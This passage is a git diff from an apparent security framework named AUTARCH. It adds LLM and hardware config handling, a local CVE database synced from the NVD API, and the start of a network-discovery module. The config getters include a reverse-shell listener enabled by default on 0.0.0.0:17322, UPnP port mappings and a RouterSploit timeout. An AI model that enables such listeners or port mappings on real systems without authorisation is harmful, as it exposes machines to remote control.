'execution_timeout': self.get_int('rsf', 'execution_timeout', 120), + } + + def get_upnp_settings(self) -> dict: + """Get all UPnP settings as a dictionary.""" + return { + 'enabled': self.get_bool('upnp', 'enabled', True), + 'internal_ip': self.get('upnp', 'internal_ip', '10.0.0.26'), + 'refresh_hours': self.get_int('upnp', 'refresh_hours', 12), + 'mappings': self.get('upnp', 'mappings', ''), + } + + def get_revshell_settings(self) -> dict: + """Get all reverse shell settings as a dictionary.""" + return { + 'enabled': self.get_bool('revshell', 'enabled', True), + 'host': self.get('revshell', 'host', '0.0.0.0'), + 'port': self.get_int('revshell', 'port', 17322), + 'auto_start': self.get_bool('revshell', 'auto_start', False), + } + + def get_tier_settings(self, tier: str) -> dict: + """Get settings for a model tier (slm, sam, lam).""" + return { + 'enabled': self.get_bool(tier, 'enabled', True), + 'backend': self.get(tier, 'backend', 'local'), + 'model_path': self.get(tier, 'model_path', ''), + 'n_ctx': self.get_int(tier, 'n_ctx', 2048), + 'n_gpu_layers': self.get_int(tier, 'n_gpu_layers', -1), + 'n_threads': self.get_int(tier, 'n_threads', 4), + } + + def get_slm_settings(self) -> dict: + """Get Small Language Model tier settings.""" + return self.get_tier_settings('slm') + + def get_sam_settings(self) -> dict: + """Get Small Action Model tier settings.""" + return self.get_tier_settings('sam') + + def get_lam_settings(self) -> dict: + """Get Large Action Model tier settings.""" + return self.get_tier_settings('lam') + + def get_autonomy_settings(self) -> dict: + """Get autonomy daemon settings.""" + return { + 'enabled': self.get_bool('autonomy', 'enabled', False), + 'monitor_interval': self.get_int('autonomy', 'monitor_interval', 3), + 'rule_eval_interval': self.get_int('autonomy', 'rule_eval_interval', 5), + 'max_concurrent_agents': self.get_int('autonomy', 'max_concurrent_agents', 3), + 'threat_threshold_auto_respond': self.get_int('autonomy', 'threat_threshold_auto_respond', 40), + 'log_max_entries': self.get_int('autonomy', 'log_max_entries', 1000), + } + + @staticmethod + def get_templates_dir() -> Path: + """Get the path to the configuration templates directory.""" + from core.paths import get_templates_dir + return get_templates_dir() + + @staticmethod + def get_custom_configs_dir() -> Path: + """Get the path to the custom user configurations directory.""" + from core.paths import get_custom_configs_dir + return get_custom_configs_dir() + + def list_hardware_templates(self) -> list: + """List available hardware configuration templates. + + Returns: + List of tuples: (template_id, display_name, description, filename) + """ + templates = [ + ('nvidia_4070_mobile', 'NVIDIA RTX 4070 Mobile', '8GB VRAM, CUDA, optimal for 7B-13B models', 'nvidia_4070_mobile.conf'), + ('amd_rx6700xt', 'AMD Radeon RX 6700 XT', '12GB VRAM, ROCm, optimal for 7B-13B models', 'amd_rx6700xt.conf'), + ('orangepi5plus_cpu', 'Orange Pi 5 Plus (CPU)', 'RK3588 ARM64, CPU-only, for quantized models', 'orangepi5plus_cpu.conf'), + ('orangepi5plus_mali', 'Orange Pi 5 Plus (Mali GPU)', 'EXPERIMENTAL - Mali-G610 OpenCL acceleration', 'orangepi5plus_mali.conf'), + ] + return templates + + def list_custom_configs(self) -> list: + """List user-saved custom configurations. + + Returns: + List of tuples: (name, filepath) + """ + custom_dir = self.get_custom_configs_dir() + configs = [] + for conf_file in custom_dir.glob('*.conf'): + name = conf_file.stem.replace('_', ' ').title() + configs.append((name, conf_file)) + return configs + + def load_template(self, template_id: str) -> bool: + """Load a hardware template into the current configuration. + + Args: + template_id: The template identifier (e.g., 'nvidia_4070_mobile') + + Returns: + True if loaded successfully, False otherwise + """ + templates = {t[0]: t[3] for t in self.list_hardware_templates()} + if template_id not in templates: + return False + + template_path = self.get_templates_dir() / templates[template_id] + if not template_path.exists(): + return False + + return self._load_llm_settings_from_file(template_path) + + def load_custom_config(self, filepath: Path) -> bool: + """Load a custom configuration file. + + Args: + filepath: Path to the custom configuration file + + Returns: + True if loaded successfully, False otherwise + """ + if not filepath.exists(): + return False + return self._load_llm_settings_from_file(filepath) + + def _load_llm_settings_from_file(self, filepath: Path) -> bool: + """Load LLM settings (llama and transformers sections) from a file. + + Preserves model_path from current config (doesn't overwrite). + + Args: + filepath: Path to the configuration file + + Returns: + True if loaded successfully, False otherwise + """ + try: + template_config = configparser.ConfigParser() + template_config.read(filepath) + + # Preserve current model paths + current_llama_path = self.get('llama', 'model_path', '') + current_transformers_path = self.get('transformers', 'model_path', '') + + # Load llama section + if 'llama' in template_config: + for key, value in template_config['llama'].items(): + if key != 'model_path': # Preserve current model path + self.set('llama', key, value) + # Restore model path + if current_llama_path: + self.set('llama', 'model_path', current_llama_path) + + # Load transformers section + if 'transformers' in template_config: + for key, value in template_config['transformers'].items(): + if key != 'model_path': # Preserve current model path + self.set('transformers', key, value) + # Restore model path + if current_transformers_path: + self.set('transformers', 'model_path', current_transformers_path) + + self.save() + return True + except Exception: + return False + + def save_custom_config(self, name: str) -> Path: + """Save current LLM settings to a custom configuration file. + + Args: + name: Name for the custom configuration (will be sanitized) + + Returns: + Path to the saved configuration file + """ + # Sanitize name for filename + safe_name = ''.join(c if c.isalnum() or c in '-_' else '_' for c in name.lower()) + safe_name = safe_name.strip('_') + if not safe_name: + safe_name = 'custom_config' + + custom_dir = self.get_custom_configs_dir() + filepath = custom_dir / f'{safe_name}.conf' + + # Create config with just LLM settings + custom_config = configparser.ConfigParser() + + # Save llama settings + custom_config['llama'] = {} + for key in self.DEFAULT_CONFIG['llama'].keys(): + value = self.get('llama', key, '') + if value: + custom_config['llama'][key] = str(value) + + # Save transformers settings + custom_config['transformers'] = {} + for key in self.DEFAULT_CONFIG['transformers'].keys(): + value = self.get('transformers', key, '') + if value: + custom_config['transformers'][key] = str(value) + + # Add header comment + with open(filepath, 'w') as f: + f.write(f'# AUTARCH Custom LLM Configuration\n') + f.write(f'# Name: {name}\n') + f.write(f'# Saved: {Path(self.config_path).name}\n') + f.write('#\n\n') + custom_config.write(f) + + return filepath + + def delete_custom_config(self, filepath: Path) -> bool: + """Delete a custom configuration file. + + Args: + filepath: Path to the custom configuration file + + Returns: + True if deleted successfully, False otherwise + """ + try: + if filepath.exists() and filepath.parent == self.get_custom_configs_dir(): + filepath.unlink() + return True + except Exception: + pass + return False + + +# Global config instance +_config = None + + +def get_config() -> Config: + """Get the global configuration instance.""" + global _config + if _config is None: + _config = Config() + return _config diff --git a/core/cve.py b/core/cve.py new file mode 100644 index 0000000..2378cf0 --- /dev/null +++ b/core/cve.py @@ -0,0 +1,869 @@ +""" +AUTARCH CVE Database Module +SQLite-based local CVE database with NVD API synchronization +https://nvd.nist.gov/developers/vulnerabilities +""" + +import os +import json +import time +import sqlite3 +import platform +import subprocess +import urllib.request +import urllib.parse +import threading +from pathlib import Path +from datetime import datetime, timedelta +from typing import Optional, List, Dict, Any, Callable + +from .banner import Colors +from .config import get_config + + +class CVEDatabase: + """SQLite-based CVE Database with NVD API synchronization.""" + + NVD_API_BASE = "https://services.nvd.nist.gov/rest/json/cves/2.0" + DB_VERSION = 1 + RESULTS_PER_PAGE = 2000 # NVD max is 2000 + + # OS to CPE mapping for common systems + OS_CPE_MAP = { + 'ubuntu': 'cpe:2.3:o:canonical:ubuntu_linux', + 'debian': 'cpe:2.3:o:debian:debian_linux', + 'fedora': 'cpe:2.3:o:fedoraproject:fedora', + 'centos': 'cpe:2.3:o:centos:centos', + 'rhel': 'cpe:2.3:o:redhat:enterprise_linux', + 'rocky': 'cpe:2.3:o:rockylinux:rocky_linux', + 'alma': 'cpe:2.3:o:almalinux:almalinux', + 'arch': 'cpe:2.3:o:archlinux:arch_linux', + 'opensuse': 'cpe:2.3:o:opensuse:opensuse', + 'suse': 'cpe:2.3:o:suse:suse_linux', + 'kali': 'cpe:2.3:o:kali:kali_linux', + 'mint': 'cpe:2.3:o:linuxmint:linux_mint', + 'windows': 'cpe:2.3:o:microsoft:windows', + 'macos': 'cpe:2.3:o:apple:macos', + 'darwin': 'cpe:2.3:o:apple:macos', + } + + # SQL Schema + SCHEMA = """ + -- CVE main table + CREATE TABLE IF NOT EXISTS cves ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + cve_id TEXT UNIQUE NOT NULL, + description TEXT, + published TEXT, + modified TEXT, + cvss_v3_score REAL, + cvss_v3_severity TEXT, + cvss_v3_vector TEXT, + cvss_v2_score REAL, + cvss_v2_severity TEXT, + cvss_v2_vector TEXT + ); + + -- CPE (affected products) table + CREATE TABLE IF NOT EXISTS cve_cpes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + cve_id TEXT NOT NULL, + cpe_criteria TEXT NOT NULL, + vulnerable INTEGER DEFAULT 1, + version_start TEXT, + version_end TEXT, + FOREIGN KEY (cve_id) REFERENCES cves(cve_id) + ); + + -- References table + CREATE TABLE IF NOT EXISTS cve_references ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + cve_id TEXT NOT NULL, + url TEXT NOT NULL, + source TEXT, + FOREIGN KEY (cve_id) REFERENCES cves(cve_id) + ); + + -- Weaknesses (CWE) table + CREATE TABLE IF NOT EXISTS cve_weaknesses ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + cve_id TEXT NOT NULL, + cwe_id TEXT NOT NULL, + FOREIGN KEY (cve_id) REFERENCES cves(cve_id) + ); + + -- Metadata table + CREATE TABLE IF NOT EXISTS metadata ( + key TEXT PRIMARY KEY, + value TEXT + ); + + -- Indexes for fast queries + CREATE INDEX IF NOT EXISTS idx_cve_id ON cves(cve_id); + CREATE INDEX IF NOT EXISTS idx_cve_severity ON cves(cvss_v3_severity); + CREATE INDEX IF NOT EXISTS idx_cve_score ON cves(cvss_v3_score); + CREATE INDEX IF NOT EXISTS idx_cve_published ON cves(published); + CREATE INDEX IF NOT EXISTS idx_cpe_cve ON cve_cpes(cve_id); + CREATE INDEX IF NOT EXISTS idx_cpe_criteria ON cve_cpes(cpe_criteria); + CREATE INDEX IF NOT EXISTS idx_ref_cve ON cve_references(cve_id); + CREATE INDEX IF NOT EXISTS idx_weakness_cve ON cve_weaknesses(cve_id); + """ + + def __init__(self, db_path: str = None): + """Initialize CVE database. + + Args: + db_path: Path to SQLite database. Defaults to data/cve/cve.db + """ + if db_path is None: + from core.paths import get_data_dir + self.data_dir = get_data_dir() / "cve" + self.db_path = self.data_dir / "cve.db" + else: + self.db_path = Path(db_path) + self.data_dir = self.db_path.parent + + self.data_dir.mkdir(parents=True, exist_ok=True) + self.system_info = self._detect_system() + self._conn = None + self._lock = threading.Lock() + self._init_database() + + def _get_connection(self) -> sqlite3.Connection: + """Get thread-safe database connection.""" + if self._conn is None: + self._conn = sqlite3.connect(str(self.db_path), check_same_thread=False) + self._conn.row_factory = sqlite3.Row + return self._conn + + def _init_database(self): + """Initialize database schema.""" + with self._lock: + conn = self._get_connection() + conn.executescript(self.SCHEMA) + conn.commit() + + def _detect_system(self) -> Dict[str, str]: + """Detect the current system information.""" + info = { + 'os_type': platform.system().lower(), + 'os_name': '', + 'os_version': '', + 'os_id': '', + 'kernel': platform.release(), + 'arch': platform.machine(), + 'cpe_prefix': '', + } + + if info['os_type'] == 'linux': + os_release = Path("/etc/os-release") + if os_release.exists(): + content = os_release.read_text() + for line in content.split('\n'): + if line.startswith('ID='): + info['os_id'] = line.split('=')[1].strip('"').lower() + elif line.startswith('VERSION_ID='): + info['os_version'] = line.split('=')[1].strip('"') + elif line.startswith('PRETTY_NAME='): + info['os_name'] = line.split('=', 1)[1].strip('"') + + if not info['os_id']: + if Path("/etc/debian_version").exists(): + info['os_id'] = 'debian' + elif Path("/etc/redhat-release").exists(): + info['os_id'] = 'rhel' + elif Path("/etc/arch-release").exists(): + info['os_id'] = 'arch' + + elif info['os_type'] == 'darwin': + info['os_id'] = 'macos' + try: + result = subprocess.run(['sw_vers', '-productVersion'], + capture_output=True, text=True, timeout=5) + info['os_version'] = result.stdout.strip() + except: + pass + + elif info['os_type'] == 'windows': + info['os_id'] = 'windows' + info['os_version'] = platform.version() + info['os_name'] = platform.platform() + + for os_key, cpe in self.OS_CPE_MAP.items(): + if os_key in info['os_id']: + info['cpe_prefix'] = cpe + break + + return info + + def get_system_info(self) -> Dict[str, str]: + """Get detected system information.""" + return self.system_info.copy() + + def get_db_stats(self) -> Dict[str, Any]: + """Get database statistics.""" + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + stats = { + 'db_path': str(self.db_path), + 'db_size_mb': round(self.db_path.stat().st_size / 1024 / 1024, 2) if self.db_path.exists() else 0, + 'total_cves': 0, + 'total_cpes': 0, + 'last_sync': None, + 'last_modified': None, + } + + try: + cursor.execute("SELECT COUNT(*) FROM cves") + stats['total_cves'] = cursor.fetchone()[0] + + cursor.execute("SELECT COUNT(*) FROM cve_cpes") + stats['total_cpes'] = cursor.fetchone()[0] + + cursor.execute("SELECT value FROM metadata WHERE key = 'last_sync'") + row = cursor.fetchone() + if row: + stats['last_sync'] = row[0] + + cursor.execute("SELECT value FROM metadata WHERE key = 'last_modified'") + row = cursor.fetchone() + if row: + stats['last_modified'] = row[0] + + # Count by severity + cursor.execute(""" + SELECT cvss_v3_severity, COUNT(*) + FROM cves + WHERE cvss_v3_severity IS NOT NULL + GROUP BY cvss_v3_severity + """) + stats['by_severity'] = {row[0]: row[1] for row in cursor.fetchall()} + + except sqlite3.Error: + pass + + return stats + + # ========================================================================= + # NVD API METHODS + # ========================================================================= + + def _make_nvd_request(self, params: Dict[str, str], verbose: bool = False) -> Optional[Dict]: + """Make a request to the NVD API.""" + url = f"{self.NVD_API_BASE}?{urllib.parse.urlencode(params)}" + + if verbose: + print(f"{Colors.DIM} API: {url[:80]}...{Colors.RESET}") + + headers = { + 'User-Agent': 'AUTARCH-Security-Framework/1.0', + 'Accept': 'application/json', + } + + config = get_config() + api_key = config.get('nvd', 'api_key', fallback='') + if api_key: + headers['apiKey'] = api_key + + try: + req = urllib.request.Request(url, headers=headers) + with urllib.request.urlopen(req, timeout=60) as response: + return json.loads(response.read().decode('utf-8')) + except urllib.error.HTTPError as e: + if verbose: + print(f"{Colors.RED}[X] NVD API error: {e.code} - {e.reason}{Colors.RESET}") + return None + except urllib.error.URLError as e: + if verbose: + print(f"{Colors.RED}[X] Network error: {e.reason}{Colors.RESET}") + return None + except Exception as e: + if verbose: + print(f"{Colors.RED}[X] Request failed: {e}{Colors.RESET}") + return None + + def _parse_cve_data(self, vuln: Dict) -> Dict: + """Parse CVE data from NVD API response.""" + cve_data = vuln.get('cve', {}) + cve_id = cve_data.get('id', '') + + # Description + descriptions = cve_data.get('descriptions', []) + description = '' + for desc in descriptions: + if desc.get('lang') == 'en': + description = desc.get('value', '') + break + + # CVSS scores + metrics = cve_data.get('metrics', {}) + cvss_v3 = metrics.get('cvssMetricV31', metrics.get('cvssMetricV30', [])) + cvss_v2 = metrics.get('cvssMetricV2', []) + + cvss_v3_score = None + cvss_v3_severity = None + cvss_v3_vector = None + cvss_v2_score = None + cvss_v2_severity = None + cvss_v2_vector = None + + if cvss_v3: + cvss_data = cvss_v3[0].get('cvssData', {}) + cvss_v3_score = cvss_data.get('baseScore') + cvss_v3_severity = cvss_data.get('baseSeverity') + cvss_v3_vector = cvss_data.get('vectorString') + + if cvss_v2: + cvss_data = cvss_v2[0].get('cvssData', {}) + cvss_v2_score = cvss_data.get('baseScore') + cvss_v2_severity = cvss_v2[0].get('baseSeverity') + cvss_v2_vector = cvss_data.get('vectorString') + + # CPEs (affected products) + cpes = [] + for config in cve_data.get('configurations', []): + for node in config.get('nodes', []): + for match in node.get('cpeMatch', []): + cpes.append({ + 'criteria': match.get('criteria', ''), + 'vulnerable': match.get('vulnerable', True), + 'version_start': match.get('versionStartIncluding') or match.get('versionStartExcluding'), + 'version_end': match.get('versionEndIncluding') or match.get('versionEndExcluding'), + }) + + # References + references = [ + {'url': ref.get('url', ''), 'source': ref.get('source', '')} + for ref in cve_data.get('references', []) + ] + + # Weaknesses + weaknesses = [] + for weakness in cve_data.get('weaknesses', []): + for desc in weakness.get('description', []): + if desc.get('lang') == 'en' and desc.get('value', '').startswith('CWE-'): + weaknesses.append(desc.get('value')) + + return { + 'cve_id': cve_id, + 'description': description, + 'published': cve_data.get('published', ''), + 'modified': cve_data.get('lastModified', ''), + 'cvss_v3_score': cvss_v3_score, + 'cvss_v3_severity': cvss_v3_severity, + 'cvss_v3_vector': cvss_v3_vector, + 'cvss_v2_score': cvss_v2_score, + 'cvss_v2_severity': cvss_v2_severity, + 'cvss_v2_vector': cvss_v2_vector, + 'cpes': cpes, + 'references': references, + 'weaknesses': weaknesses, + } + + def _insert_cve(self, conn: sqlite3.Connection, cve_data: Dict): + """Insert or update a CVE in the database.""" + cursor = conn.cursor() + + # Insert/update main CVE record + cursor.execute(""" + INSERT OR REPLACE INTO cves + (cve_id, description, published, modified, + cvss_v3_score, cvss_v3_severity, cvss_v3_vector, + cvss_v2_score, cvss_v2_severity, cvss_v2_vector) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + """, ( + cve_data['cve_id'], + cve_data['description'], + cve_data['published'], + cve_data['modified'], + cve_data['cvss_v3_score'], + cve_data['cvss_v3_severity'], + cve_data['cvss_v3_vector'], + cve_data['cvss_v2_score'], + cve_data['cvss_v2_severity'], + cve_data['cvss_v2_vector'], + )) + + cve_id = cve_data['cve_id'] + + # Clear existing related data + cursor.execute("DELETE FROM cve_cpes WHERE cve_id = ?", (cve_id,)) + cursor.execute("DELETE FROM cve_references WHERE cve_id = ?", (cve_id,)) + cursor.execute("DELETE FROM cve_weaknesses WHERE cve_id = ?", (cve_id,)) + + # Insert CPEs + for cpe in cve_data['cpes']: + cursor.execute(""" + INSERT INTO cve_cpes (cve_id, cpe_criteria, vulnerable, version_start, version_end) + VALUES (?, ?, ?, ?, ?) + """, (cve_id, cpe['criteria'], 1 if cpe['vulnerable'] else 0, + cpe['version_start'], cpe['version_end'])) + + # Insert references (limit to 10) + for ref in cve_data['references'][:10]: + cursor.execute(""" + INSERT INTO cve_references (cve_id, url, source) + VALUES (?, ?, ?) + """, (cve_id, ref['url'], ref['source'])) + + # Insert weaknesses + for cwe in cve_data['weaknesses']: + cursor.execute(""" + INSERT INTO cve_weaknesses (cve_id, cwe_id) + VALUES (?, ?) + """, (cve_id, cwe)) + + # ========================================================================= + # DATABASE SYNC + # ========================================================================= + + def sync_database( + self, + days_back: int = 120, + full_sync: bool = False, + progress_callback: Callable[[str, int, int], None] = None, + verbose: bool = True + ) -> Dict[str, Any]: + """Synchronize database with NVD. + + Args: + days_back: For incremental sync, get CVEs from last N days. + full_sync: If True, download entire database (WARNING: slow, 200k+ CVEs). + progress_callback: Callback function(message, current, total). + verbose: Show progress messages. + + Returns: + Sync statistics dictionary. + """ + stats = { + 'started': datetime.now().isoformat(), + 'cves_processed': 0, + 'cves_added': 0, + 'cves_updated': 0, + 'errors': 0, + 'completed': False, + } + + if verbose: + print(f"{Colors.CYAN}[*] Starting CVE database sync...{Colors.RESET}") + + # Determine date range + if full_sync: + # Start from 1999 (first CVEs) + start_date = datetime(1999, 1, 1) + if verbose: + print(f"{Colors.YELLOW}[!] Full sync requested - this may take a while...{Colors.RESET}") + else: + start_date = datetime.utcnow() - timedelta(days=days_back) + + end_date = datetime.utcnow() + + # Calculate total CVEs to fetch (estimate) + params = { + 'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'), + 'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'), + 'resultsPerPage': '1', + } + + response = self._make_nvd_request(params, verbose) + if not response: + if verbose: + print(f"{Colors.RED}[X] Failed to connect to NVD API{Colors.RESET}") + return stats + + total_results = response.get('totalResults', 0) + + if verbose: + print(f"{Colors.CYAN}[*] Found {total_results:,} CVEs to process{Colors.RESET}") + + if total_results == 0: + stats['completed'] = True + return stats + + # Process in batches + start_index = 0 + batch_num = 0 + total_batches = (total_results + self.RESULTS_PER_PAGE - 1) // self.RESULTS_PER_PAGE + + with self._lock: + conn = self._get_connection() + + while start_index < total_results: + batch_num += 1 + + if verbose: + pct = int((start_index / total_results) * 100) + print(f"{Colors.CYAN}[*] Batch {batch_num}/{total_batches} ({pct}%) - {start_index:,}/{total_results:,}{Colors.RESET}") + + if progress_callback: + progress_callback(f"Downloading batch {batch_num}/{total_batches}", start_index, total_results) + + params = { + 'pubStartDate': start_date.strftime('%Y-%m-%dT00:00:00.000'), + 'pubEndDate': end_date.strftime('%Y-%m-%dT23:59:59.999'), + 'resultsPerPage': str(self.RESULTS_PER_PAGE), + 'startIndex': str(start_index), + } + + response = self._make_nvd_request(params, verbose=False) + + if not response: + stats['errors'] += 1 + if verbose: + print(f"{Colors.YELLOW}[!] Batch {batch_num} failed, retrying...{Colors.RESET}") + time.sleep(6) # NVD rate limit + continue + + vulnerabilities = response.get('vulnerabilities', []) + + for vuln in vulnerabilities: + try: + cve_data = self._parse_cve_data(vuln) + self._insert_cve(conn, cve_data) + stats['cves_processed'] += 1 + stats['cves_added'] += 1 + except Exception as e: + stats['errors'] += 1 + if verbose: + print(f"{Colors.RED}[X] Error processing CVE: {e}{Colors.RESET}") + + conn.commit() + start_index += self.RESULTS_PER_PAGE + + # Rate limiting - NVD allows 5 requests per 30 seconds without API key + config = get_config() + if not config.get('nvd', 'api_key', fallback=''): + time.sleep(6) + else: + time.sleep(0.6) # With API key: 50 requests per 30 seconds + + # Update metadata + conn.execute(""" + INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_sync', ?) + """, (datetime.now().isoformat(),)) + conn.execute(""" + INSERT OR REPLACE INTO metadata (key, value) VALUES ('last_modified', ?) + """, (end_date.isoformat(),)) + conn.commit() + + stats['completed'] = True + stats['finished'] = datetime.now().isoformat() + + if verbose: + print(f"{Colors.GREEN}[+] Sync complete: {stats['cves_processed']:,} CVEs processed{Colors.RESET}") + + return stats + + def sync_recent(self, days: int = 7, verbose: bool = True) -> Dict[str, Any]: + """Quick sync of recent CVEs only.""" + return self.sync_database(days_back=days, full_sync=False, verbose=verbose) + + # ========================================================================= + # QUERY METHODS + # ========================================================================= + + def search_cves( + self, + keyword: str = None, + cpe_pattern: str = None, + severity: str = None, + min_score: float = None, + max_results: int = 100, + days_back: int = None + ) -> List[Dict]: + """Search CVEs in local database. + + Args: + keyword: Search in CVE ID or description. + cpe_pattern: CPE pattern to match (uses LIKE). + severity: Filter by severity (LOW, MEDIUM, HIGH, CRITICAL). + min_score: Minimum CVSS v3 score. + max_results: Maximum results to return. + days_back: Only return CVEs from last N days. + + Returns: + List of matching CVE dictionaries. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + query = "SELECT DISTINCT c.* FROM cves c" + conditions = [] + params = [] + + if cpe_pattern: + query += " LEFT JOIN cve_cpes cp ON c.cve_id = cp.cve_id" + conditions.append("cp.cpe_criteria LIKE ?") + params.append(f"%{cpe_pattern}%") + + if keyword: + conditions.append("(c.cve_id LIKE ? OR c.description LIKE ?)") + params.extend([f"%{keyword}%", f"%{keyword}%"]) + + if severity: + conditions.append("c.cvss_v3_severity = ?") + params.append(severity.upper()) + + if min_score is not None: + conditions.append("c.cvss_v3_score >= ?") + params.append(min_score) + + if days_back: + cutoff = (datetime.utcnow() - timedelta(days=days_back)).strftime('%Y-%m-%d') + conditions.append("c.published >= ?") + params.append(cutoff) + + if conditions: + query += " WHERE " + " AND ".join(conditions) + + query += " ORDER BY c.cvss_v3_score DESC NULLS LAST, c.published DESC" + query += f" LIMIT {max_results}" + + cursor.execute(query, params) + rows = cursor.fetchall() + + return [self._row_to_dict(row) for row in rows] + + def get_cve(self, cve_id: str) -> Optional[Dict]: + """Get detailed information about a specific CVE. + + Args: + cve_id: The CVE ID (e.g., CVE-2024-1234). + + Returns: + CVE details dictionary or None if not found. + """ + with self._lock: + conn = self._get_connection() + cursor = conn.cursor() + + # Get main CVE data + cursor.execute("SELECT * FROM cves WHERE cve_id = ?", (cve_id,)) + row = cursor.fetchone() + + if not row: + return None + + cve = self._row_to_dict(row) + + # Get CPEs + cursor.execute("SELECT * FROM cve_cpes WHERE cve_id = ?", (cve_id,)) + cve['cpes'] = [dict(r) for r in cursor.fetchall()] + + # Get references + cursor.execute("SELECT url, source FROM cve_references WHERE cve_id = ?", (cve_id,)) + cve['references'] = [dict(r) for r in cursor.fetchall()] + + # Get weaknesses + cursor.execute("SELECT cwe_id FROM cve_weaknesses WHERE cve_id = ?", (cve_id,)) + cve['weaknesses'] = [r['cwe_id'] for r in cursor.fetchall()] + + return cve + + def get_system_cves( + self, + severity_filter: str = None, + max_results: int = 100 + ) -> List[Dict]: + """Get CVEs relevant to the detected system. + + Args: + severity_filter: Filter by severity. + max_results: Maximum results. + + Returns: + List of relevant CVEs. + """ + cpe_prefix = self.system_info.get('cpe_prefix', '') + if not cpe_prefix: + return [] + + # Build CPE pattern for this system + cpe_pattern = cpe_prefix + if self.system_info.get('os_version'): + version = self.system_info['os_version'].split('.')[0] + cpe_pattern = f"{cpe_prefix}:{version}" + + return self.search_cves( + cpe_pattern=cpe_pattern, + severity=severity_filter, + max_results=max_results + ) + + def get_software_cves( + self, + software: str, + vendor: str = None, + version: str = None, + max_results: int = 100 + ) -> List[Dict]: + """Search CVEs for specific software. + + Args: + software: Software/product name. + vendor: Vendor name (optional). + version: Software version (optional). + max_results: Maximum results. + + Returns: + List of CVEs. + """ + # Try CPE-based search first + cpe_pattern = software.lower().replace(' ', '_') + if vendor: + cpe_pattern = f"{vendor.lower()}:{cpe_pattern}" + if version: + cpe_pattern = f"{cpe_pattern}:{version}" + + results = self.search_cves(cpe_pattern=cpe_pattern, max_results=max_results) + + # Also search by keyword if CPE search returns few results + if len(results) < 10: + keyword = software + if vendor: + keyword = f"{vendor} {software}" + keyword_results = self.search_cves(keyword=keyword, max_results=max_results) + + # Merge results, avoiding duplicates + seen = {r['cve_id'] for r in results} + for r in keyword_results: + if r['cve_id'] not in seen: + results.append(r) + seen.add(r['cve_id']) + + return results[:max_results] + + def get_cves_by_severity(self, severity: str, max_results: int = 100) -> List[Dict]: + """Get CVEs by severity level.""" + return self.search_cves(severity=severity, max_results=max_results) + + def get_recent_cves(self, days: int = 30, max_results: int = 100) -> List[Dict]: + """Get recently published CVEs.""" + return self.search_cves(days_back=days, max_results=max_results) + + def _row_to_dict(self, row: sqlite3.Row) -> Dict: + """Convert database row to dictionary.""" + return { + 'cve_id': row['cve_id'], + 'id': row['cve_id'], # Alias for compatibility + 'description': row['description'], + 'published': row['published'], + 'modified': row['modified'], + 'cvss_score': row['cvss_v3_score'] or row['cvss_v2_score'] or 0, + 'cvss_v3_score': row['cvss_v3_score'], + 'cvss_v3_severity': row['cvss_v3_severity'], + 'cvss_v3_vector': row['cvss_v3_vector'], + 'cvss_v2_score': row['cvss_v2_score'], + 'cvss_v2_severity': row['cvss_v2_severity'], + 'cvss_v2_vector': row['cvss_v2_vector'], + 'severity': row['cvss_v3_severity'] or row['cvss_v2_severity'] or 'UNKNOWN', + } + + # ========================================================================= + # ONLINE FALLBACK + # ========================================================================= + + def fetch_cve_online(self, cve_id: str, verbose: bool = False) -> Optional[Dict]: + """Fetch a specific CVE from NVD API (online fallback). + + Args: + cve_id: The CVE ID. + verbose: Show progress. + + Returns: + CVE details or None. + """ + params = {'cveId': cve_id} + + if verbose: + print(f"{Colors.CYAN}[*] Fetching {cve_id} from NVD...{Colors.RESET}") + + response = self._make_nvd_request(params, verbose) + + if not response or not response.get('vulnerabilities'): + return None + + cve_data = self._parse_cve_data(response['vulnerabilities'][0]) + + # Store in database + with self._lock: + conn = self._get_connection() + self._insert_cve(conn, cve_data) + conn.commit() + + return self.get_cve(cve_id) + + def search_online( + self, + keyword: str = None, + cpe_name: str = None, + severity: str = None, + days_back: int = 120, + max_results: int = 100, + verbose: bool = False + ) -> List[Dict]: + """Search NVD API directly (online mode). + + Use this when local database is empty or for real-time results. + """ + params = { + 'resultsPerPage': str(min(max_results, 2000)), + } + + if keyword: + params['keywordSearch'] = keyword + + if cpe_name: + params['cpeName'] = cpe_name + + if severity: + params['cvssV3Severity'] = severity.upper() + + if days_back > 0: + end_date = datetime.utcnow() + start_date = end_date - timedelta(days=days_back) + params['pubStartDate'] = start_date.strftime('%Y-%m-%dT00:00:00.000') + params['pubEndDate'] = end_date.strftime('%Y-%m-%dT23:59:59.999') + + if verbose: + print(f"{Colors.CYAN}[*] Searching NVD online...{Colors.RESET}") + + response = self._make_nvd_request(params, verbose) + + if not response: + return [] + + cves = [] + for vuln in response.get('vulnerabilities', []): + cve_data = self._parse_cve_data(vuln) + cves.append({ + 'cve_id': cve_data['cve_id'], + 'id': cve_data['cve_id'], + 'description': cve_data['description'][:200] + '...' if len(cve_data['description']) > 200 else cve_data['description'], + 'cvss_score': cve_data['cvss_v3_score'] or cve_data['cvss_v2_score'] or 0, + 'severity': cve_data['cvss_v3_severity'] or cve_data['cvss_v2_severity'] or 'UNKNOWN', + 'published': cve_data['published'][:10] if cve_data['published'] else '', + }) + + return cves + + def close(self): + """Close database connection.""" + if self._conn: + self._conn.close() + self._conn = None + + +# Global instance +_cve_db: Optional[CVEDatabase] = None + + +def get_cve_db() -> CVEDatabase: + """Get the global CVE database instance.""" + global _cve_db + if _cve_db is None: + _cve_db = CVEDatabase() + return _cve_db diff --git a/core/discovery.py b/core/discovery.py new file mode 100644 index 0000000..3f8977f --- /dev/null +++ b/core/discovery.py @@ -0,0 +1,423 @@ +""" +AUTARCH Network Discovery +Advertises AUTARCH on the local network so companion apps can find it. + +Discovery methods (priority order): + 1. mDNS/Zeroconf — LAN service advertisement (_autarch._tcp.local.) + 2. Bluetooth — RFCOMM service advertisement (requires BT adapter + security enabled) + +Dependencies: + - mDNS: pip install zeroconf (optional, graceful fallback) + - Bluetooth: system bluetoothctl + hcitool (no pip package needed) +""" + +import json +import socket +import subprocess +import threading +import time +import logging +from pathlib import Path +from typing import Dict, Optional, Tuple + +logger = logging.getLogger(__name__) + +# Service constants 